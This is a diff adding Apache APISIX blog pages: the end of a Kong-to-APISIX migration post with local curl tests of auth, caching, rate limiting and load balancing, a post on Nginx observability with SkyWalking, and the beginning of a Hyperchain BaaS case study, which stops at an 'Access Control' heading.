+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -k</span><span style="color:#79C0FF"> -i</span><span style="color:#79C0FF"> -m</span><span style="color:#79C0FF"> 20</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> /dev/null</span><span style="color:#79C0FF"> -s</span><span styl [...]
+<span class="line"><span style="color:#8B949E"># output: 401</span></span></code></pre>
+</li>
+<li>
+<p>Test proxy cache plugin.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># access for the first time</span></span>
+<span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -k</span><span style="color:#79C0FF"> -I</span><span style="color:#79C0FF"> -s</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> /dev/null</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/mock</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "apikey: apikey"</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "Host: mockbin.or [...]
+<span class="line"><span style="color:#8B949E"># see if got cached</span></span>
+<span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -I</span><span style="color:#79C0FF"> -s</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> GET</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/mock</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "apikey: apikey"</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "Host: mockbin.org"</span></span>
+<span class="line"><span style="color:#8B949E"># output:</span></span>
+<span class="line"><span style="color:#8B949E"># HTTP/1.1 200 OK</span></span>
+<span class="line"><span style="color:#8B949E"># ...</span></span>
+<span class="line"><span style="color:#8B949E"># Apisix-Cache-Status: HIT</span></span></code></pre>
+</li>
+<li>
+<p>Test limit count plugin.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FF7B72">for</span><span style="color:#E6EDF3"> i </span><span style="color:#FF7B72">in</span><span style="color:#E6EDF3"> {</span><span style="color:#FFA657">1..5}</span><span style="color:#E6EDF3">; </span><span style="color:#FF7B72">do</span></span>
+<span class="line"><span style="color:#FFA657"> curl</span><span style="color:#79C0FF"> -s</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> /dev/null</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> GET</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/mock</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "apikey: apikey"</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "Host: mockbin [...]
+<span class="line"><span style="color:#FF7B72">done</span></span>
+<span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -k</span><span style="color:#79C0FF"> -i</span><span style="color:#79C0FF"> -m</span><span style="color:#79C0FF"> 20</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> /dev/null</span><span style="color:#79C0FF"> -s</span><span style="color:#79C0FF"> -w</span><span style="color:#A5D6FF"> %{http_code}</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/mock</span><span style=" [...]
+<span class="line"><span style="color:#8B949E"># output: 429</span></span></code></pre>
+</li>
+<li>
+<p>Test load balance.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#E6EDF3">httpbin_num</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">0</span></span>
+<span class="line"><span style="color:#E6EDF3">mockbin_num</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">0for</span><span style="color:#FFA657"> i</span><span style="color:#A5D6FF"> in</span><span style="color:#A5D6FF"> {1..8}</span><span style="color:#E6EDF3">; </span><span style="color:#FF7B72">do</span></span>
+<span class="line"><span style="color:#E6EDF3"> body</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">$(</span><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -k</span><span style="color:#79C0FF"> -i</span><span style="color:#79C0FF"> -s</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/mock</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "apikey: apikey"</span><span style="color:#79C0FF"> -H</span><span style="co [...]
+<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> [[ $body </span><span style="color:#FF7B72">==</span><span style="color:#FF7B72"> *</span><span style="color:#A5D6FF">"httpbin"</span><span style="color:#FF7B72">*</span><span style="color:#E6EDF3"> ]]; </span><span style="color:#FF7B72">then</span></span>
+<span class="line"><span style="color:#E6EDF3">httpbin_num</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">$((</span><span style="color:#FFA657">httpbin_num+1</span><span style="color:#E6EDF3">))</span></span>
+<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> [[ $body </span><span style="color:#FF7B72">==</span><span style="color:#FF7B72"> *</span><span style="color:#A5D6FF">"mockbin"</span><span style="color:#FF7B72">*</span><span style="color:#E6EDF3"> ]]; </span><span style="color:#FF7B72">then</span></span>
+<span class="line"><span style="color:#E6EDF3"> mockbin_num</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">$((</span><span style="color:#FFA657">mockbin_num+1</span><span style="color:#E6EDF3">))</span></span>
+<span class="line"><span style="color:#FF7B72"> fi</span></span>
+<span class="line"><span style="color:#FFA657"> sleep</span><span style="color:#A5D6FF"> 1.5done</span></span>
+<span class="line"><span style="color:#79C0FF">echo</span><span style="color:#A5D6FF"> "httpbin number: "</span><span style="color:#E6EDF3">${httpbin_num}</span><span style="color:#A5D6FF">", mockbin number: "</span><span style="color:#E6EDF3">${mockbin_num}</span></span>
+<span class="line"><span style="color:#8B949E"># output:</span></span>
+<span class="line"><span style="color:#8B949E"># httpbin number: 6, mockbin number: 2</span></span></code></pre>
+</li>
+</ol>
+</li>
+</ol>
+<h2 id="conclusion">Conclusion</h2>
+<p>Subsequent development plans for the migration tool are presented in the Roadmap on Kong-To-APISIX’s <a href="https://github.com/api7/kong-to-apisix">GitHub repository</a>. Feel free to test and use Kong-To-APISIX, and discuss any questions you may have in the Issues section of the repository. Anyone who is interested in this project is welcome to contribute to it!</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>A [...]
\ No newline at end of file
diff --git a/blog/2021/08/06/using-apache-apisix-to-improve-the-observability-of-nginx/index.html b/blog/2021/08/06/using-apache-apisix-to-improve-the-observability-of-nginx/index.html
new file mode 100644
index 00000000000..1503bf88405
--- /dev/null
+++ b/blog/2021/08/06/using-apache-apisix-to-improve-the-observability-of-nginx/index.html
@@ -0,0 +1,122 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Improve Nginx Observability with APISIX | Apache APISIX</title><meta name="description" content="Learn how APISIX enhances Nginx observability with built-in metrics, logging, and tracing via Apache SkyWalking integration."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/06/using-apache-apisix-t [...]
+<p>This article shares solutions and practices for observability in the context of Nginx observability, the relationship between Apache APISIX and Nginx, Apache APISIX observability, and further enhancing observability in conjunction with Apache SkyWalking.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="overview">Overview</h2>
+<p>“Observability” is a metric that allows you to keep track of how your infrastructure, system platform, or application is performing. Commonly, metrics, logging, and tracing and events data are collected to help developers and operations staff detect, investigate, alert, and correct system problems.</p>
+<p>In this article, we will share solutions and practices for observability in the context of Nginx observability, the relationship between Apache APISIX and Nginx, Apache APISIX observability, and further observability improvements in conjunction with Apache SkyWalking.</p>
+<h2 id="nginx-observability">Nginx Observability</h2>
+<h3 id="common-monitoring-methods-for-nginx">Common monitoring methods for Nginx</h3>
+<p>Nginx is observable to some extent, and the following is a list of common monitoring methods for Nginx.</p>
+<ol>
+<li>ngx_http_stub_status_module</li>
+<li>VTS module + exporter + prometheus + grafana (if you have a low version of Nginx, you need to introduce exporter)</li>
+<li>Nginx Amplify SaaS</li>
+</ol>
+<h4 id="ngx_http_stub_status_module">ngx_http_stub_status_module</h4>
+<p>The ngx_http_stub_status_module mainly collects instance-level statistics.</p>
+<h4 id="vts-module">VTS module</h4>
+<p>The VTS module has 3 obvious drawbacks.</p>
+<ol>
+<li>
+<p><strong>Complex installation</strong>: Although VTS module is able to collect metrics and collect more types of metrics, it is more complex to install. If you want to use the VTS module, you need to recompile Nginx, add the VTS moudle before compiling Nginx, and reinstall Nginx after completing the compilation before you can use VTS properly. 2.</p>
+</li>
+<li>
+<p><strong>Weak extensibility</strong>: VTS extensibility is divided into two parts: one is to add extensions to VTS before compilation; the other is to add extensions after compilation — modifying the nginx.conf configuration file. Adding extensions by modifying the nginx.conf file will cause Nginx to reload, and a direct reload of the production environment may have some impact on the business.</p>
+</li>
+<li>
+<p><strong>Slow community updates</strong>: The last update to the VTS module was in 2018, and it has been down for 3 years.</p>
+</li>
+</ol>
+<h4 id="nginx-amplify-saas">Nginx Amplify SaaS</h4>
+<p>Nginx Amplify is a SaaS service where Nginx Amplify provides services on the remote end and installs agents outside of the Nginx service.
+If you install the collection module outside of Nginx, you are limited in the metrics you can collect, and you can only get the information exposed by Nginx, not the internal information that is not exposed.</p>
+<p>In addition, because Nginx Amplify SaaS is a SaaS service, you need to transfer the collected data to the server through the public network, which can pose some security risks and keep some enterprise users out. Perhaps Nginx Amplify is targeted at enterprise users like Nginx plus, not open source users.</p>
+<p>Also, the Nginx Amplify SaaS community is not active and has been down for 2 years.</p>
+<h3 id="nginxs-pitfalls">Nginx’s pitfalls</h3>
+<p>Nginx has its own flaws in Events collection, two of which are listed here.</p>
+<p>Nginx is configured based on nginx.conf, which is reloaded after changes are made to the nginx.conf file. There are no Events available other than reload events, so we can’t know what has changed each time we modify the file, e.g., if we start with one route and modify the file to add 10 routes, we won’t know which 10 routes have been added with only reload events.</p>
+<p>Nginx is a reverse proxy, and the real backend service may be restarted, upgraded, or abnormal, so without active health checks and relying on passive checks, we will only know that something is wrong with the service when the traffic is abnormal, which will throw away many Events and result in incomplete information about upstream Events. .</p>
+<h3 id="nginx-observability-summary">Nginx Observability Summary</h3>
+<p>The open source version of Nginx does not provide very good monitoring. Although Nginx provides some monitoring tools, they are very complex to install and configure and have little scalability. It is possible that these tools are not designed for observability, but simply to be able to see metrics or statistics to easily pinpoint problems. There are various observability setup products available, but they are difficult to integrate into Nginx.</p>
+<p>In addition, the Nginx community is stagnant, resulting in slow iterations of Nginx.</p>
+<h2 id="apache-apisix-overview">Apache APISIX Overview</h2>
+<h3 id="apache-apisix-in-relation-to-nginx">Apache APISIX in relation to Nginx</h3>
+<p><img src="https://static.apiseven.com/202108/1630651158638-aba4e627-d2d6-4bf5-b431-61eb3913a296.png" alt="Relationship between Apache APISIX and Nginx"></p>
+<p>Apache APISIX is based on the Nginx implementation, but relies only on the Nginx network libraries. On top of Nginx, Apache APISIX implements its own core code, with extension mechanisms reserved.</p>
+<p>The table shows a comparison of Apache APISIX and Nginx features. Apache APISIX can do both reverse proxy and implement some features that Nginx does not support, such as: active health checking, traffic management, horizontal scaling, etc., and these features are open source.</p>
+<ul>
+<li><strong>API Design</strong>: It is simpler to use Apache APISIX for API design.</li>
+<li><strong>Open Source Dashboard</strong>: The reverse proxy can be configured all in the interface.</li>
+<li><strong>Active Health Check</strong>:Apache APISIX supports active health checks, which can be combined with Events to improve observability.</li>
+<li><strong>Traffic Management</strong>: Suitable for monitoring data, or for use when a business release goes live.</li>
+<li><strong>Horizontal Scaling</strong>: Apache APISIX supports horizontal scaling, a feature that is made possible by the Apache APISIX architecture (see below).</li>
+<li><strong>Plug-in extension mechanism</strong>: Apache APISIX’s plug-in extension mechanism makes it extremely powerful and scalable.</li>
+<li><strong>Plugin orchestration</strong>: Multiple plugins are logically orchestrated and combined for use according to business requirements.</li>
+<li><strong>Certificate Management</strong>: Apache APISIX supports dynamic certificate management.</li>
+</ul>
+<p><img src="https://static.apiseven.com/202108/1630651158643-ecc67e12-2076-41e5-88d8-baa14144f35d.png" alt="Apache APISIX Architecture Diagram"></p>
+<h3 id="apache-apisix-introduction">Apache APISIX Introduction</h3>
+<p>Apache APISIX is a dynamic, real-time, high-performance API gateway that provides load balancing, dynamic upstream, canary release, service meltdown, authentication, observability, and other rich traffic management features. Apache APISIX is also the world’s most active open source API gateway project, and is a production-ready, high-performance gateway. Hundreds of enterprises around the world have used Apache APISIX to handle business-critical traffic, covering finance, Internet, ma [...]
+<h3 id="apache-apisix-solution">Apache APISIX Solution</h3>
+<p><img src="https://static.apiseven.com/202108/1630651158645-83c22975-ebf1-4861-8b61-38639a28875a.png" alt="Apache APISIX Full Traffic Solution"></p>
+<p>On the left side of the diagram above, the evolution from top to bottom is from monolithic services to SOA (Service Oriented Architecture) to microservices.</p>
+<p>Under SOA, gateways typically use Nginx or HAProxy; under microservices architecture, gateways use Nginx for load balancing. There are two common solutions for microservices architecture: one is based on Java technology stack implementation, such as Spring Cloud series; the other is Service Mesh.</p>
+<p>Where does Apache APISIX fit into this evolutionary process and what can it do?</p>
+<p>Simply put, the parts in red in the diagram on the left (Nginx / HAProxy / Kong / Spring Cloud Zuul / Spring Cloud Gateway / Traefik / Envoy / Ingress Nginx) can all be replaced with an Apache APISIX solution.</p>
+<p><strong>In SOA there is Apache APISIX SLB solution, in microservice architecture there is Apache APISIX Gateway, in Kubernetes deployment there is Apache APISIX Ingress, in Service Mesh deployment there is Apache APISIX mesh</strong>.</p>
+<p><img src="https://static.apiseven.com/202108/1630651158648-dffd59dd-15c2-4f76-832e-5ed3763b18e5.png" alt="Apache APISIX Full Traffic Data Surface"></p>
+<p>In terms of service request traffic, when a client initiates a request, it passes through the LB, passes through the Gateway, and the request is distributed to the back-end business service. The parts in red (LB / Gateway / Spring Cloud Gateway / K8s Ingress / Sidecar) can all choose Apache APISIX as the solution. Apache APISIX supports multi-language development plug-ins and can be written in Java under the Java architecture.</p>
+<p>Apache APISIX is a full-flow data plane, and Apache APISIX has solutions for LB, Gateway, Ingress, and sidecar, and they are unified solutions in terms of observability. When the solution is unified, the management control chain is also easy to implement out.</p>
+<h2 id="apache-apisix-observability">Apache APISIX Observability</h2>
+<p>After a brief look at Nginx and Apache APISIX, here are two questions: What can Apache APISIX do in terms of observability, and what are the advantages of Apache APISIX observability?</p>
+<h3 id="types-of-data-apache-apisix-supports-to-collect">Types of data Apache APISIX supports to collect</h3>
+<p>Apache APISIX supports the following types of data collection.</p>
+<ol>
+<li>Tracing - integrated with SkyWalking</li>
+<li>Metrics - integrated with SkyWalking / Prometheus</li>
+<li>Logging - integration with SkyWalking / other logging platforms</li>
+</ol>
+<p>Apache APISIX is a gateway-type product that can replace Nginx or other gateways; in terms of observability Apache APISIX can integrate with multiple APM or observable systems, e.g. Tracing part can integrate with SkyWalking, Metrics can integrate with SkyWalking or Prometheus, Logging can integrate with SkyWalking and other logging systems.</p>
+<h3 id="apache-apisix-advantages-in-observability">Apache APISIX advantages in observability</h3>
+<h4 id="high-scalability">High Scalability</h4>
+<p>Why does Apache APISIX have great extensibility? Because Apache APISIX supports writing plug-ins in multiple languages and can write plug-ins in programming languages such as Lua, Java, Golang, etc. Apache APISIX can extend its capabilities through plug-ins. The three data types mentioned above are implemented through the plug-in mechanism.</p>
+<h4 id="flexible-configuration-capabilities">Flexible Configuration Capabilities</h4>
+<p>Three examples are given to illustrate the flexible configuration capabilities of Apache APISIX.</p>
+<p>The first example is <strong>Apache APISIX can modify the configuration of logging at runtime</strong>, for example, by adding or modifying logging fields. Modifying logging fields is a relatively common requirement. For example, when a business first goes live, logging fields are configured, and after the system has been running for a while, several logging fields need to be modified or added. If you are using Nginx, you can do this by modifying the nginx.conf file and reloading the [...]
+<p>A second example of flexible configuration capabilities is the use of Prometheus. In Apache APISIX, if you want to create/delete a metric or extend metrics labels, just add a new metircs or fill in the relevant information in the Prometheus plugin, and Apache APISIX has a hot reload mechanism to take effect directly without restarting.</p>
+<p>The third flexible configuration capability is in the Apache APISIX implementation, which manages all routing objects and has a set of object management mechanisms in memory. In Apache APISIX, you can add a plug-in to an API, and the level of effect can be refined to the API, and each API can be bound to the plug-in or the plug-in can be removed from the API. Apache APISIX can be fine-grained to control the observable data collection for each API in each service. In other words, you c [...]
+<h4 id="active-community">Active Community</h4>
+<p>One of the most important advantages of Apache APISIX is that there is an active community, and an active community allows the product to iterate quickly, get better and better, and get everyone’s needs met.</p>
+<p><img src="https://static.apiseven.com/202108/1630651158650-2c4a287f-45a3-4c49-94d1-5be3914e5f69.png" alt="Apache APISIX Community Activity Comparison Chart"></p>
+<p>The graph above shows the growth curves of Apache APISIX (green), Kong (light blue), mosn (yellow), and bfe (dark blue) contributors, with Apache APISX showing the fastest growth trend and the steepest curve. Apache APISIX community activity is the most active within its category.</p>
+<h2 id="combining-apache-skywalking-for-further-improvements-in-observability">Combining Apache SkyWalking for further improvements in observability</h2>
+<p>What enhancements can be made by combining Apache APISIX with Apache SkyWalking? In addition to the SkyWalking tracing plugin, you can also aggregate tracing, metrics, logging, and events into SkyWalking, and use SkyWalking’s aggregation capabilities to link data.</p>
+<h3 id="skywalking-satellite">SkyWalking Satellite</h3>
+<p>SkyWalking Satellite is developed by the Apache APISIX community, the Apache SkyWalking community, and Baidu in deep cooperation.</p>
+<p><img src="https://static.apiseven.com/202108/1630651158652-130e62e1-32dd-4705-9f24-ceffd039560a.png" alt="Apache APISIX SkyWalking Satellite"></p>
+<p>SkyWalking Satellite follows the steps in the above diagram to collect data. SkyWalking Satellite can be deployed closer to the front-end where the data is generated, in the form of a sidecar.</p>
+<p>In the diagram from top to bottom business requests go through Apache APISIX proxy to Upstream, Satellite is deployed next to Apache APISIX in the form of sidecar to collect data from Apache APISIX in three data types: tracing, metrics and logging, and send it to SkyWalking via GRPC protocol.</p>
+<p>The most important point is that <strong>in this deployment method, Apache APISIX can integrate the three data types directly into SkyWalking without making any changes</strong>.</p>
+<h3 id="als-solution">ALS Solution</h3>
+<p>ALS (Access Log Service) sends out access logs from Apache APISIX, adding special fields to the normal access log, e.g., adding key fields to facilitate topology map generation and aggregating metrics.</p>
+<p>The biggest advantage of ALS solution is that it can directly analyze and aggregate three types of data, such as topology, metrics, and logging, by means of access log.
+When using Prometheus, if you configure the statistics of metrics at the URI level, the whole metrics will be inflated dramatically. Because there may be dozens of services at the URI level, each metrics may be followed by many labels, which will slow down the performance of the gateway and make the metrics more difficult to obtain. <strong>Use ALS solution to send the data to SkyWalking by streaming, leaving the calculation to SkyWalking and making it easy to query later</strong>, witho [...]
+<h3 id="integrating-events-into-skywalking">Integrating Events into SkyWalking</h3>
+<p>Commonly used Events include: configuration distribution, cluster changes, and health checks.</p>
+<p><strong>Configuration Distribution</strong>: When configuring API distribution, routes may be added, routes modified, routes removed, or plugins added.</p>
+<p><strong>Cluster Changes</strong>: When the cluster changes, you need to know the number of services in the cluster. For example, IPs change during expansion, and the changes are reflected when the gateway receives the message. Each process is an event, and these events need to be exposed.</p>
+<p><strong>Health Check</strong>: Proactive detection of health, e.g., business request failure rate suddenly becomes high, and events detect unhealthy business services, at which point the problem can be quickly located.</p>
+<h2 id="extended-reading">Extended Reading</h2>
+<h3 id="how-the-extension-mechanism-of-apache-apisix-is-implemented-and-its-impact-on-stability">How the extension mechanism of Apache APISIX is implemented and its impact on stability</h3>
+<p>Question: How is the extension mechanism of Apache APISIX implemented? Does extending this feature have an impact on the stability of Apache APISIX itself?</p>
+<p>A: The Apache APISIX extension mechanism benefits from its architecture, which allows adding business logic to each phase (rewrite / access / header_filter / body_filter / preread_filter / log).</p>
+<p>As for stability, Apache APISIX has open sourced nearly 50 plugins, each of which is tested end-to-end and is proven to be stable and available. However, custom plug-ins have to follow certain specifications, which are simple, but we should not be too casual. The stability of the custom plug-ins is guaranteed and needs to be guaranteed by the business side itself.</p>
+<h3 id="how-to-confirm-that-rules-are-in-effect">How to confirm that rules are in effect</h3>
+<p>Q: Nginx may have a lot of rules configured in the nginx.conf file, and the later rules may be blocked by the earlier rules, so it is not clear if the later rules are in effect.</p>
+<p>A: The more configuration you have in the nginx.conf file, and the more complex the configuration service, the more difficult it is to maintain this file. But in Apache APISIX, the configuration file is fixed, and the official Apache APISIX configuration is the optimal configuration for most scenarios, while other routing configurations are configured in the API, and the routing configuration is in memory.</p>
+<p>In terms of management, you can manage your routes in a variety of organizational ways, for example, through the Dashboard.</p>
+<p>For example, if you have a service called ABC, you can have various route definitions under this service, and the route definitions can be viewed in a list. Another way to view routes is to tag the API in the dashboard, which makes the management of routes more user-friendly and makes it easy to query the list of routes by tag filtering.</p>
+<h2 id="about-the-author">About the Author</h2>
+<p>Wei Jin, Apache APISIX PMC and Apache SkyWalking committer.</p>
+<p><img src="https://static.apiseven.com/202108/1630651158654-2e028970-9e09-4d52-bf72-ab53aa98706b.png" alt="Jin Wei's profile"></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache [...]
\ No newline at end of file
diff --git a/blog/2021/08/09/apache-apisix-in-quliankeji/index.html b/blog/2021/08/09/apache-apisix-in-quliankeji/index.html
new file mode 100644
index 00000000000..61588d0aece
--- /dev/null
+++ b/blog/2021/08/09/apache-apisix-in-quliankeji/index.html
@@ -0,0 +1,116 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Hyperchain Technology implements BaaS platform with APISIX | Apache APISIX</title><meta name="description" content="This article introduces the implementation of cloud-native API gateway Apache APISIX in the Hyperchain Blockchain BaaS platform, and the reasons for choosing Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" hr [...]
+<p>This article introduces the landing practice of Apache APISIX in Hyperchain Blockchain BaaS platform, and explains why Hyperchain Technology has chosen Apache APISIX among many gateway applications.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="background-information">Background Information</h2>
+<p>BaaS, which is also known as “Blockchain as a Service”, is an open platform that embeds blockchain framework into cloud computing platform and provides convenient and high performance blockchain ecological environment and ecological support services for developers by taking advantage of the deployment and management of cloud service infrastructure to support their business expansion and operation. It is an open blockchain platform that supports developers’ business expansion and opera [...]
+<p>Typically, a complete BaaS solution includes four main components: device access, access control, service monitoring and blockchain platform.</p>
+<p><img src="https://static.apiseven.com/202108/1646723437500-89897c8a-7912-49d3-bea9-1f21e3e6e0d7.001" alt="BaaS introduction"></p>
+<p><strong>We can build blockchain network quickly and flexibly through BaaS. For enterprises, with BaaS platform, we can manage blockchain business in a unified way.</strong></p>
+<p>I believe that many of you have come across the contract code on top of Ethernet. Through BaaS platform, we can easily write smart contracts on the IDE and then deploy it to our created blockchain network, and finally for the upper layer services to call the blockchain-related contracts to carry out the flow of business.</p>
+<p>Because the chain has so many nodes, from tens to thousands, it is difficult to monitor and maintain the operation of the chain without the support of BaaS platform. By using BaaS platform, users can not only save cost, but also manage the blockchain more conveniently and the security of the whole system is higher.</p>
+<p>The architecture of BaaS product of Hyperchain Technology is divided into four layers in total, which are resource layer, blockchain underlying layer, blockchain service layer and application layer.</p>
+<p><img src="https://static.apiseven.com/202108/1646723539486-3d0d42a2-217e-420d-8e6f-22eb4b37d464.002" alt="Hyperchain BaaS Architecture"></p>
+<p>Now that we have a preliminary understanding of Baas platform, let’s take a look at the usage scenarios and gains of Apache APISIX on BaaS system.</p>
+<h2 id="apache-apisix-usage-scenarios-and-gains">Apache APISIX Usage Scenarios and Gains</h2>
+<h3 id="scenario-1-practice-on-baas-system">Scenario 1: Practice on BaaS system</h3>
+<p><img src="https://static.apiseven.com/202108/1646814465109-4ec35266-ce3f-4547-bab7-d75edd332e0c.003" alt="Apache APISIX applied on BaaS system"></p>
+<p>The architecture of Hyperchain’s BaaS platform is not only microservices-based, but also divided into two layers, which are business access layer and core service layer.</p>
+<p>BFF (Backend For Frontend) is generally to the frontend, through HTTP access. The core services are generally registered through services like Dubbo, ETCD, etc., and finally accessed using gRPC.</p>
+<p>The role of BFF is to do business aggregation, format adaptation, and give the final result data to the frontend.</p>
+<p>These business modules need to store the relevant information in the registry (ETCD), and then read out the information through the gateway module when it is used.</p>
+<p><img src="https://static.apiseven.com/202108/1646814465106-81be15cb-aabf-4240-a98b-e2cd6b8bc5ad.003_1" alt="Hyperchain BaaS Platform Workflow"></p>
+<p>In the whole process, we mainly use four features of Apache APISIX.</p>
+<ul>
+<li>Routing and Forwarding</li>
+<li>Traffic Control</li>
+<li>Security and Access Control</li>
+<li>Dynamic Loading</li>
+</ul>
+<p>Let’s learn more about how these features are used on the Hyperchain BaaS system below.</p>
+<h4 id="routing-and-forwarding">Routing and Forwarding</h4>
+<p><img src="https://static.apiseven.com/202108/1646723635425-8adc8c53-5a00-4457-9ac7-0b8f55308d27.004" alt="Apache APISIX Proxy-rewrite Routing and Forwarding"></p>
+<p>Hyperchain uses the official Proxy-rewrite plugin provided by Apache APISIX to perform route forwarding services.</p>
+<p>When a request accesses port 8080, through the Proxy-rewrite plugin, the request will be accessed to the API of the corresponding service.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635426-c5de189b-e934-4395-b671-f0d161fa8c19.005" alt="Apache APISIX Proxy-rewrite Routing and Forwarding 2"></p>
+<p>The above figure shows the interface of Proxy-rewrite, we can see that you can match your own forwarding rules by regular matching, of course, you can also write HOST or by URL to match.</p>
+<h4 id="traffic-control">Traffic Control</h4>
+<p>Before Apache APISIX, the platform needed to write its own logic code. With Apache APISIX, we can directly use the officially provided Limit-req plugin to limit the input and output for the purpose of protecting the system.</p>
+<p>Through the interface of the Limit-req plugin, we can easily configure parameters such as speed, bucket height, etc.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635427-0550eac8-a4dd-40c9-99f8-8ec42646fd2a.006" alt="Apache APISIX Traffic Control"></p>
+<p>In the Hyperchain BaaS platform, customers can build any chains according to their needs. At this point, the BaaS platform needs to quickly support the creation of these chains and manage their lifecycle.</p>
+<p>The creation of these federated chains is not solved by hard code written directly on the code, but by driver components. In a privatization scenario, we need to have such driver components to provide support quickly and need to control the frequency of access to the driver processes.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635428-5473b0db-b7f9-4bfa-b91c-063d68a6ed60.007" alt="Apache APISIX Traffic Control 2"></p>
+<p>Before Apache APISIX, the platform needed to write its own logic code. With Apache APISIX, we can directly use the officially provided Limit-req plugin to limit the input and output for the purpose of protecting the system. Through the interface of the Limit-req plugin, we can easily configure parameters such as speed, bucket height, etc.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635429-36f04fcf-0596-43b1-9147-af79c2786ba2.008" alt="Apache APISIX Traffic Control 3"></p>
+<h4 id="security-and-access-control">Security and Access Control</h4>
+<p><img src="https://static.apiseven.com/202108/1646723635429-554b8e0f-8be8-4828-91cf-cc4784d30558.009" alt="Apache APISIX Security and Access Control"></p>
+<p>In Hyperchain’s privatization scenario, many users don’t like to use the account system provided by the platform and ask the platform to connect to their existing account system, so Hyperchain uses Apache APISIX’s Access-Auth plugin to adapt the third-party authentication service address with it.</p>
+<p><img src="https://static.apiseven.com/202108/1646723635430-e5e6d1ad-79c5-4a4e-b82b-2803794bc7d0.010" alt="Apache APISIX Security and Access Control 2"></p>
+<p>In Baas platform, all web requests will go through Apache APISIX’s Access-Auth plugin, complete cookie parsing and authentication, then carry user information in HEAD header and pass to back-end microservices to process business. The advantage of this is that the developer of the microservice does not need to parse the cookie, but can send the user information to the microservice module directly, which is very convenient.</p>
+<h4 id="dynamic-loading">Dynamic Loading</h4>
+<p><img src="https://static.apiseven.com/202108/1646723635431-1a0f5d29-2643-4d72-8ec7-265ea181bc47.011" alt="Apache APISIX Dynamic Loading"></p>
+<p>The client interface of Baas platform of Hyperchain does not have a “store” button on top; however, there is a “store” button on the public platform of Baas of Hyperchain. In some privatization scenarios, the “store” button is not needed, but the backend services of both are shared, and the platform interface will be displayed differently according to the demand as soon as the backend services are started.</p>
+<p>Hyperchain uses Apache APISIX to operate in collaboration with the service center to ensure the addition and adjustment of front-end microservice business modules, which makes the online publishing process of Hyperchain’s Baas platform very easy.</p>
+<h3 id="scenario-2-practice-on-blockchain-nodes">Scenario 2: Practice on blockchain nodes</h3>
+<p><img src="https://static.apiseven.com/202108/1646723635432-a4e185fd-3648-4a60-83b7-f767560c3a4d.012" alt="blockchain nodes"></p>
+<p>When a user buys a chain through the BaaS platform, its upper business or developer client connects directly to the nodes, for example, a bank connects to three on the left, an insurance connects to three on the right, or some users access a whole chain. This will bring a big problem because basically every node will be accessed, so we need to expose all the nodes on the blockchain to the public network environment.</p>
+<h4 id="conserve-public-network-ports">Conserve public network ports</h4>
+<p><img src="https://static.apiseven.com/202108/1646723635433-3999243b-7457-48d3-803a-99860c9e1bac.013" alt="public network ports"></p>
+<p>This situation may be acceptable for private users, but for a BaaS platform like Hyperchain, which is open to all Internet users, it requires dozens or hundreds or thousands of public IPs, which is not only very costly but also a waste of public IP resources.</p>
+<p>In order to solve this problem, Hyperchain’s Baas platform uses Apache APISIX.</p>
+<h4 id="access-control">Access Control</h4>
